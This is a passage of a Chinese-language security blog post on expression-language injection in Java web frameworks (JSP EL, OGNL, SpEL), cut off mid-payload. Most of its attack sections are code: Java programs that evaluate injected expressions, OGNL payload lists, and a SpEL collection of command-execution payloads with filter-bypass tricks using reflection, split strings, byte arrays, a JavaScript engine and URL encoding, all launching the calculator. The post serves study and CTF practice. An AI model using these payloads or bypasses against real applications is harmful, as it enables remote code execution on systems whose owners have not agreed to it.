href=\"http:\/\/localhost:8080\/springmvc_01_quickstart_war\/ELFunc\">http:\/\/localhost:8080\/springmvc_01_quickstart_war\/eltest.jsp<\/a>\u5e94\u8be5\u5c31\u6709\u4e1c\u897f\u4e86\uff0c\u8fd9\u5c31\u8bf4\u660e\u642d\u597d\u4e86\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250506-224920-6-1.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250506-224920-6-1.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u4ece\u6587\u7ae0\u91cc\u6284\u7684\u901a\u7528poc\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/\u5bf9\u5e94\u4e8eJSP\u9875\u9762\u4e2d\u7684pageContext\u5bf9\u8c61\uff08\u6ce8\u610f\uff1a\u53d6\u7684\u662fpageContext\u5bf9\u8c61\uff09\n${pageContext}\n\n\/\/\u83b7\u53d6Web\u8def\u5f84\n${pageContext.getSession().getServletContext().getClassLoader().getResource(\"\")}\n\n\/\/\u6587\u4ef6\u5934\u53c2\u6570\n${header}\n\n\/\/\u83b7\u53d6webRoot\n${applicationScope}\n\n\/\/\u6267\u884c\u547d\u4ee4\n${pageContext.request.getSession().setAttribute(\"a\",pageContext.request.getClass().forName(\"java.lang.Runtime\").getMethod(\"getRuntime\",null).invoke(null,null).exec(\"calc\").getInputStream())}<\/code><\/pre>\n\n\n\n<p>\u6bd4\u5982\u5982\u679cjsp\u4ee3\u7801\u91cc\u51fa\u73b0\u4e86\u8fd9\u4e2apoc\uff0c\u5c31\u4f1a\u76f4\u63a5\u5f39\u8ba1\u7b97\u5668\uff0c\u975e\u5e38\u7684\u70ab\u9177\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>${pageContext.setAttribute(\"a\",\"\".getClass().forName(\"java.lang.Runtime\").getMethod(\"exec\",\"\".getClass()).invoke(\"\".getClass().forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null),\"calc.exe\"))}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250506-225745-6-2.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250506-225745-6-2.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u53ea\u4e0d\u8fc7\u4e00\u822c\u800c\u8a00\uff0c\u6211\u4eec\u4e5f\u6ca1\u529e\u6cd5\u76f4\u63a5\u63a7\u5236JSP\u91cc\u7684EL\u8868\u8fbe\u5f0f\uff0c\u76ee\u524d\u5df2\u77e5\u7684EL\u8868\u8fbe\u5f0f\u6ce8\u5165\u6f0f\u6d1e\u90fd\u662f\u6846\u67b6\u5c42\u9762\u670d\u52a1\u7aef\u6267\u884c\u7684EL\u8868\u8fbe\u5f0f\u5916\u90e8\u53ef\u63a7\u5bfc\u81f4\u7684\uff0c\u6bd4\u5982\u6211\u4eec\u4e0b\u9762\u4ecb\u7ecd\u7684\u8fd9\u4e2aCVE-2011-2730\u3002<\/p>\n\n\n\n<p>\u9996\u5148\u88c5\u4e0a\u4f9d\u8d56\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;dependency&gt;\n    &lt;groupId&gt;de.odysseus.juel&lt;\/groupId&gt;\n    &lt;artifactId&gt;juel-api&lt;\/artifactId&gt;\n    &lt;version&gt;2.2.7&lt;\/version&gt;\n&lt;\/dependency&gt;\n&lt;dependency&gt;\n    &lt;groupId&gt;de.odysseus.juel&lt;\/groupId&gt;\n    &lt;artifactId&gt;juel-spi&lt;\/artifactId&gt;\n    &lt;version&gt;2.2.7&lt;\/version&gt;\n&lt;\/dependency&gt;\n&lt;dependency&gt;\n    &lt;groupId&gt;de.odysseus.juel&lt;\/groupId&gt;\n    &lt;artifactId&gt;juel-impl&lt;\/artifactId&gt;\n    &lt;version&gt;2.2.7&lt;\/version&gt;\n&lt;\/dependency&gt;<\/code><\/pre>\n\n\n\n<p>CVE-2011-2730 \u662f Spring Framework \u4e2d\u7684\u4e00\u4e2a\u5b89\u5168\u6f0f\u6d1e\uff0c\u5f71\u54cd\u4e86\u65e9\u671f\u7248\u672c\uff08\u5982 2.5.6.SEC02 \u53ca\u66f4\u65e9\u7248\u672c\uff0c\u4ee5\u53ca 3.0.0 \u81f3 3.0.5\uff09\u3002\u8be5\u6f0f\u6d1e\u6e90\u4e8e\u5728\u652f\u6301\u8868\u8fbe\u5f0f\u8bed\u8a00\uff08EL\uff09\u7684\u5bb9\u5668\u4e2d\uff0c\u67d0\u4e9b Spring \u6807\u7b7e\uff08\u5982 <code>&lt;spring:message&gt;<\/code>\u3001<code>&lt;spring:bind&gt;<\/code> \u7b49\uff09\u4e2d\u7684 EL \u8868\u8fbe\u5f0f\u88ab\u8bc4\u4f30\u4e86\u4e24\u6b21\uff0c\u8fd9\u53ef\u80fd\u5141\u8bb8\u653b\u51fb\u8005\u901a\u8fc7\u7cbe\u5fc3\u6784\u9020\u7684\u8f93\u5165\u83b7\u53d6\u654f\u611f\u4fe1\u606f\uff0c\u5982\u5185\u90e8\u670d\u52a1\u5668\u4fe1\u606f\u3001\u7c7b\u8def\u5f84\u3001\u5de5\u4f5c\u76ee\u5f55\u548c\u4f1a\u8bdd ID\u3002<\/p>\n\n\n\n<p>\u8fd9\u91cc\u6211\u4eec\u5199\u4e00\u4e2a\u6076\u610f\u4ee3\u7801\u4f8b\u5b50\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package com.itheima.controller;\n\nimport de.odysseus.el.ExpressionFactoryImpl;\nimport de.odysseus.el.util.SimpleContext;\n\nimport javax.el.ExpressionFactory;\nimport javax.el.ValueExpression;\n\n\npublic class ELShell {\n    public static void main(String&#91;] args) {\n        ExpressionFactory expressionFactory = new ExpressionFactoryImpl();\n        SimpleContext simpleContext = new SimpleContext();\n        String shell = \"${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc')}\";\n        \/\/ \u5229\u7528ScriptEngine\u8c03\u7528JS\u5f15\u64ce\u7ed5\u8fc7\n        \/\/ String shell = \"${''.getClass().forName(\\\"javax.script.ScriptEngineManager\\\").newInstance().getEngineByName(\\\"JavaScript\\\").eval(\\\"java.lang.Runtime.getRuntime().exec('calc')\\\")}\";\n        ValueExpression valueExpression = expressionFactory.createValueExpression(simpleContext, shell, String.class);\n        System.out.println(valueExpression.getValue(simpleContext));\n    }\n}\n<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250506-231349-6-3.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250506-231349-6-3.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">OGNL\u8868\u8fbe\u5f0f<\/h2>\n\n\n\n<p>OGNL\uff08<strong>Object-Graph Navigation Language<\/strong>\uff09\u662f\u4e00\u79cd\u8868\u8fbe\u5f0f\u8bed\u8a00\uff0c\u4e3b\u8981\u7528\u4e8e\u5728 Java \u5bf9\u8c61\u56fe\u4e2d\u8bfb\u53d6\u548c\u8bbe\u7f6e\u5c5e\u6027\u503c\u3002\u5b83\u6700\u65e9\u7528\u4e8e WebWork \u6846\u67b6\uff08Struts2 \u7684\u524d\u8eab\uff09\uff0c\u540e\u6765\u4e5f\u5e7f\u6cdb\u7528\u4e8e Struts2 \u7b49\u6846\u67b6\u4e2d\uff0c\u652f\u6301\u5c5e\u6027\u5bfc\u822a\u3001\u96c6\u5408\u64cd\u4f5c\u3001\u8c03\u7528\u65b9\u6cd5\u7b49\u590d\u6742\u64cd\u4f5c\u3002<\/p>\n\n\n\n<p>OGNL \u7c7b\u4f3c\u4e8e EL \u8868\u8fbe\u5f0f\uff08<code>${}<\/code>\uff09\uff0c\u4f46\u529f\u80fd\u66f4\u5f3a\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u5bf9\u8c61\u56fe\u904d\u5386<\/strong>\uff08object graph navigation\uff09\u2014\u2014 \u53ef\u4ee5\u901a\u8fc7 <code>person.address.city<\/code> \u4e00\u5c42\u5c42\u53d6\u503c\u3002<\/li>\n\n\n\n<li><strong>\u65b9\u6cd5\u8c03\u7528<\/strong> \u2014\u2014 \u53ef\u4ee5\u6267\u884c <code>user.getName()<\/code>\u3002<\/li>\n\n\n\n<li><strong>\u96c6\u5408\u8bbf\u95ee<\/strong> \u2014\u2014 \u53ef\u4ee5\u8bbf\u95ee <code>users[0].name<\/code>\u3002<\/li>\n\n\n\n<li><strong>\u9759\u6001\u65b9\u6cd5\u8c03\u7528<\/strong> \u2014\u2014 \u53ef\u4ee5\u8c03\u7528 <code>@java.lang.Math@random()<\/code>\u3002<\/li>\n\n\n\n<li><strong>\u8fd0\u7b97\u7b26\u652f\u6301<\/strong> \u2014\u2014 \u53ef\u4ee5\u6267\u884c <code>age &gt; 18 ? 'adult' : 'child'<\/code>\u3002<\/li>\n<\/ul>\n\n\n\n<p>\u9996\u5148\u88c5\u4f9d\u8d56<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;dependency&gt;\n      &lt;groupId&gt;ognl&lt;\/groupId&gt;\n      &lt;artifactId&gt;ognl&lt;\/artifactId&gt;\n      &lt;version&gt;2.7.3&lt;\/version&gt;\n    &lt;\/dependency&gt;<\/code><\/pre>\n\n\n\n<p>\u5177\u4f53\u8bed\u6cd5\u53c2\u8003<a href=\"https:\/\/xz.aliyun.com\/news\/9930\">\u4e00\u6587\u8bfb\u61c2OGNL\u6f0f\u6d1e<\/a>\uff0c\u5e38\u89c1\u7684\u7528\u6cd5\u6709\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/\u8bbf\u95ee\u5c5e\u6027\nname\nuser.name\nperson.address.city<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/\u8c03\u7528\u65b9\u6cd5\nuser.getUsername()<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/\u8c03\u7528\u9759\u6001\u65b9\u6cd5\n@java.lang.Runtime@getRuntime().exec('calc')<\/code><\/pre>\n\n\n\n<p>\u6bd4\u5982\u770b\u5230\u6211\u4eec\u4e0b\u9762\u8fd9\u4e2a\u4ee3\u7801\u793a\u4f8b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package com.itheima.controller;\n\nimport ognl.Ognl;\nimport ognl.OgnlContext;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class OgnlTest {\n    public static void main(String&#91;] args) throws Exception {\n        OgnlContext context = new OgnlContext();\n\n        \/\/ \u666e\u901a\u5bf9\u8c61\u64cd\u4f5c\n        User user = new User();\n        user.setName(\"\u5854\u83f2\");\n        context.put(\"user\", user);\n\n        Object expr1 = Ognl.parseExpression(\"name\");\n        System.out.println(\"user.name: \" + Ognl.getValue(expr1, context, user)); \/\/ \u8f93\u51fa\u5854\u83f2\n\n        \/\/ Map\u53d6\u503c\n        Map&lt;String, String&gt; map = new HashMap&lt;&gt;();\n        map.put(\"key\", \"value\");\n        context.put(\"map\", map);\n\n        Object expr2 = Ognl.parseExpression(\"#map&#91;'key']\");\n        System.out.println(\"map.key: \" + Ognl.getValue(expr2, context, context.getRoot()));\n\n        \/\/ \u8c03\u7528\u65b9\u6cd5\n        Object expr3 = Ognl.parseExpression(\"'hello'.toUpperCase()\");\n        System.out.println(Ognl.getValue(expr3, context, context.getRoot())); \/\/ \u8f93\u51fa\uff1aHELLO\n\n        \/\/ \u547d\u4ee4\u6267\u884c\u6f14\u793a\n        Object expr4 = Ognl.parseExpression(\n                \"@java.lang.Runtime@getRuntime().exec('calc.exe')\"\n        );\n        Ognl.getValue(expr4, context, context.getRoot());\n    }\n\n    public static class User {\n        private String name;\n        public String getName() { return name; }\n        public void setName(String name) { this.name = name; }\n    }\n}\n<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250506-232517-6-4.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250506-232517-6-4.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u4e00\u4e9b\u5e38\u7528\u7684payload\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/ \u83b7\u53d6 Context \u91cc\u9762\u7684\u53d8\u91cf.\n #user\n #user.name\n\n\/\/ \u4f7f\u7528 Runtime \u6267\u884c\u7cfb\u7edf\u547d\u4ee4.\n@java.lang.Runtime@getRuntime().exec(\"open -a Calculator\")\n\n\n\/\/ \u4f7f\u7528 Processbuilder \u6267\u884c\u7cfb\u7edf\u547d\u4ee4.\n(new java.lang.ProcessBuilder(new java.lang.String&#91;]{\"open\", \"-a\", \"Calculator\"})).start()\n\n\/\/ \u83b7\u53d6\u5f53\u524d\u8def\u5f84.\n@java.lang.System@getProperty(\"user.dir\")<\/code><\/pre>\n\n\n\n<p>\u53ea\u4e0d\u8fc7Ognl&gt;=3.1.25\u3001Ognl&gt;=3.2.12\u914d\u7f6e\u4e86\u9ed1\u540d\u5355\u68c0\u6d4b\uff0c\u4e3b\u8981\u662f\u5728 <code>OgnlRuntime.invokeMethod<\/code> \u4e2d\uff0c\u6dfb\u52a0\u4e86\u9ed1\u540d\u5355\u65ad\uff0c\u5305\u62ec\u5927\u90e8\u5206\u53ef\u4ee5\u7528\u4e8e\u547d\u4ee4\u6267\u884c\u7684\u7c7b\uff1a<code>OgnlContext<\/code>\u3001<code>Runtime<\/code>\u3001<code>ClassLoader<\/code>\u3001<code>ProcessBuilder<\/code>\u7b49\u7b49\uff0c\u6240\u4ee5\u5c31\u6253\u4e0d\u901a\u4e86\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">SPEL\u8868\u8fbe\u5f0f<\/h2>\n\n\n\n<p>SpEL\uff08Spring Expression Language\uff09\u662f Spring Framework \u63d0\u4f9b\u7684\u4e00\u79cd\u5f3a\u5927\u7684\u8868\u8fbe\u5f0f\u8bed\u8a00\uff0c\u5b83\u652f\u6301\u5728\u8fd0\u884c\u65f6\u67e5\u8be2\u548c\u64cd\u4f5c\u5bf9\u8c61\u56fe\u3002SpEL \u901a\u5e38\u7528\u4e8e\u914d\u7f6e\u6587\u4ef6\u3001\u6ce8\u89e3\u548c Spring Bean \u5b9a\u4e49\u4e2d\uff0c\u4f8b\u5982\u7528\u4e8e\u6761\u4ef6\u5224\u65ad\u3001\u52a8\u6001\u8d4b\u503c\u3001\u8c03\u7528\u65b9\u6cd5\u7b49\u3002<\/p>\n\n\n\n<p>SpEL \u7684\u57fa\u672c\u8bed\u6cd5\u683c\u5f0f\u662f<code>${ expression }<\/code>\uff0c\u8868\u8fbe\u5f0f\u5199\u5728 <code>#{}<\/code> \u4e2d\uff0cSpring \u4f1a\u5728\u8fd0\u884c\u65f6\u89e3\u6790\u5b83\uff0cSpEL \u652f\u6301\u7684\u529f\u80fd\u5305\u62ec\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th>\u529f\u80fd<\/th><th>\u793a\u4f8b<\/th><th>\u8bf4\u660e<\/th><\/tr><\/thead><tbody><tr><td>\u5b57\u9762\u503c<\/td><td><code>#{123}<\/code>, <code>#{'hello'}<\/code><\/td><td>\u652f\u6301\u6570\u5b57\u3001\u5b57\u7b26\u4e32\u3001\u5e03\u5c14<\/td><\/tr><tr><td>\u8bbf\u95ee\u5bf9\u8c61\u5c5e\u6027<\/td><td><code>#{person.name}<\/code><\/td><td>\u8bbf\u95ee Bean \u7684\u5c5e\u6027<\/td><\/tr><tr><td>\u8c03\u7528\u65b9\u6cd5<\/td><td><code>#{person.getName()}<\/code><\/td><td>\u8fd0\u884c\u65f6\u8c03\u7528\u5bf9\u8c61\u65b9\u6cd5<\/td><\/tr><tr><td>\u7b97\u672f\u8fd0\u7b97<\/td><td><code>#{1 + 2}<\/code>, <code>#{price * 0.9}<\/code><\/td><td>\u652f\u6301 <code>+ - * \/ %<\/code><\/td><\/tr><tr><td>\u903b\u8f91\u8fd0\u7b97<\/td><td><code>#{age &gt; 18}<\/code>, <code>#{flag &amp;&amp; !done}<\/code><\/td><td>\u6bd4\u8f83\u548c\u5e03\u5c14\u903b\u8f91<\/td><\/tr><tr><td>\u4e09\u5143\u8868\u8fbe\u5f0f<\/td><td><code>#{age &gt; 18 ? 'adult' : 'child'}<\/code><\/td><td>\u6761\u4ef6\u5224\u65ad<\/td><\/tr><tr><td>\u96c6\u5408\u64cd\u4f5c<\/td><td><code>#{list[0]}<\/code>, <code>#{map['key']}<\/code><\/td><td>\u652f\u6301\u4e0b\u6807\u8bbf\u95ee<\/td><\/tr><tr><td>\u5b89\u5168\u5bfc\u822a<\/td><td><code>#{user?.name}<\/code><\/td><td>\u907f\u514d NullPointerException<\/td><\/tr><tr><td>Bean \u5f15\u7528<\/td><td><code>#{@myBean.someProperty}<\/code><\/td><td>\u6ce8\u5165 Spring Bean<\/td><\/tr><tr><td>\u53cd\u5c04\u8c03\u7528\u7c7b\u65b9\u6cd5<\/td><td><code>#{T(java.lang.Math).random()}<\/code><\/td><td>\u7528 <code>T()<\/code> \u8c03\u7528\u9759\u6001\u7c7b\u65b9\u6cd5<\/td><\/tr><tr><td>\u6b63\u5219\u5339\u914d<\/td><td><code>#{name matches '[A-Z].*'}<\/code><\/td><td>\u5b57\u7b26\u4e32\u6b63\u5219\u5339\u914d<\/td><\/tr><tr><td>\u6784\u9020\u5bf9\u8c61<\/td><td><code>#{new java.util.Date()}<\/code><\/td><td>\u521b\u5efa Java \u5bf9\u8c61<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>\u8fd9\u91cc\u7684T\u4e2d\u7684\u5185\u5bb9\u4f1a\u88ab\u89e3\u6790\u4e3a\u5bf9\u5e94\u7684\u7c7b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package com.itheima.controller;\n\nimport org.springframework.expression.Expression;\nimport org.springframework.expression.ExpressionParser;\nimport org.springframework.expression.spel.standard.SpelExpressionParser;\n\npublic class SpelTest {\n    public static void main(String&#91;] args) {\n        String cmdStr = \"T(java.lang.String)\";\n        ExpressionParser parser = new SpelExpressionParser();\/\/\u521b\u5efa\u89e3\u6790\u5668\n        Expression exp = parser.parseExpression(cmdStr);\/\/\u89e3\u6790\u8868\u8fbe\u5f0f\n        System.out.println(exp.getValue());\/\/\u8f93\u51fa\u5bf9\u5e94\u7684\u7c7b\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250507-215054-7-1.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250507-215054-7-1.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:688px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u81ea\u7136\u6211\u4eec\u4e5f\u53ef\u4ee5\u60f3\u5230\u628a\u4ed6\u89e3\u6790\u6210 <code>java.lang.Runtime<\/code>\uff0c\u8fd9\u6837\u5c31\u6709RCE\u4e86\u3002\u8fd9\u91cc\u5c31\u65e0\u803b\u7684\u6284\u88ad\u5927b\u54e5\u7684\u535a\u5ba2\u4e86: <a href=\"https:\/\/boogipop.com\/2023\/08\/06\/SPEL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%80%BB%E7%BB%93%E5%8F%8A%E5%9B%9E%E6%98%BE%E6%8A%80%E6%9C%AF\/\">SPEL\u8868\u8fbe\u5f0f\u6ce8\u5165\u603b\u7ed3\u53ca\u56de\u663e\u6280\u672f<\/a>\uff0c\u770b\u5b8c\u5c31\u7b49\u4e8e\u6211\u5b66\u4f1a\u4e86\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/ PoC\u539f\u578b\n\n\/\/ Runtime\nT(java.lang.Runtime).getRuntime().exec(\"calc\")\nT(Runtime).getRuntime().exec(\"calc\")\n\n\/\/ ProcessBuilder\nnew java.lang.ProcessBuilder({'calc'}).start()\nnew ProcessBuilder({'calc'}).start()\n\n******************************************************************************\n\/\/ Bypass\u6280\u5de7\n\n\/\/ \u53cd\u5c04\u8c03\u7528\nT(String).getClass().forName(\"java.lang.Runtime\").getRuntime().exec(\"calc\")\n\n\/\/ \u540c\u4e0a\uff0c\u9700\u8981\u6709\u4e0a\u4e0b\u6587\u73af\u5883\n#this.getClass().forName(\"java.lang.Runtime\").getRuntime().exec(\"calc\")\n\n\/\/ \u53cd\u5c04\u8c03\u7528+\u5b57\u7b26\u4e32\u62fc\u63a5\uff0c\u7ed5\u8fc7\u5982javacon\u9898\u76ee\u4e2d\u7684\u6b63\u5219\u8fc7\u6ee4\nT(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String&#91;])).invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String&#91;]{\"cmd\",\"\/C\",\"calc\"})\n\n\/\/ \u540c\u4e0a\uff0c\u9700\u8981\u6709\u4e0a\u4e0b\u6587\u73af\u5883\n#this.getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String&#91;])).invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String&#91;]{\"cmd\",\"\/C\",\"calc\"})\n\n\/\/ \u5f53\u6267\u884c\u7684\u7cfb\u7edf\u547d\u4ee4\u88ab\u8fc7\u6ee4\u6216\u8005\u88abURL\u7f16\u7801\u6389\u65f6\uff0c\u53ef\u4ee5\u901a\u8fc7String\u7c7b\u52a8\u6001\u751f\u6210\u5b57\u7b26\uff0cPart1\n\/\/ byte\u6570\u7ec4\u5185\u5bb9\u7684\u751f\u6210\u540e\u9762\u6709\u811a\u672c\nnew java.lang.ProcessBuilder(new java.lang.String(new byte&#91;]{99,97,108,99})).start()\n\n\/\/ \u5f53\u6267\u884c\u7684\u7cfb\u7edf\u547d\u4ee4\u88ab\u8fc7\u6ee4\u6216\u8005\u88abURL\u7f16\u7801\u6389\u65f6\uff0c\u53ef\u4ee5\u901a\u8fc7String\u7c7b\u52a8\u6001\u751f\u6210\u5b57\u7b26\uff0cPart2\n\/\/ byte\u6570\u7ec4\u5185\u5bb9\u7684\u751f\u6210\u540e\u9762\u6709\u811a\u672c\nT(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))\n\n\/\/ JavaScript\u5f15\u64ce\u901a\u7528PoC\nT(javax.script.ScriptEngineManager).newInstance().getEngineByName(\"nashorn\").eval(\"s=&#91;3];s&#91;0]='cmd';s&#91;1]='\/C';s&#91;2]='calc';java.la\"+\"ng.Run\"+\"time.getRu\"+\"ntime().ex\"+\"ec(s);\")\n\nT(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName(\"JavaScript\").eval(\"xxx\"),)\n\n\/\/ JavaScript\u5f15\u64ce+\u53cd\u5c04\u8c03\u7528\nT(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName(\"JavaScript\").eval(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String&#91;])).invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String&#91;]{\"cmd\",\"\/C\",\"calc\"})),)\n\n\/\/ JavaScript\u5f15\u64ce+URL\u7f16\u7801\n\/\/ \u5176\u4e2dURL\u7f16\u7801\u5185\u5bb9\u4e3a\uff1a\n\/\/ \u4e0d\u52a0\u6700\u540e\u7684getInputStream()\u4e5f\u884c\uff0c\u56e0\u4e3a\u5f39\u8ba1\u7b97\u5668\u4e0d\u9700\u8981\u56de\u663e\nT(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName(\"JavaScript\").eval(T(java.net.URLDecoder).decode(\"%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29\")),)\n\n\/\/ 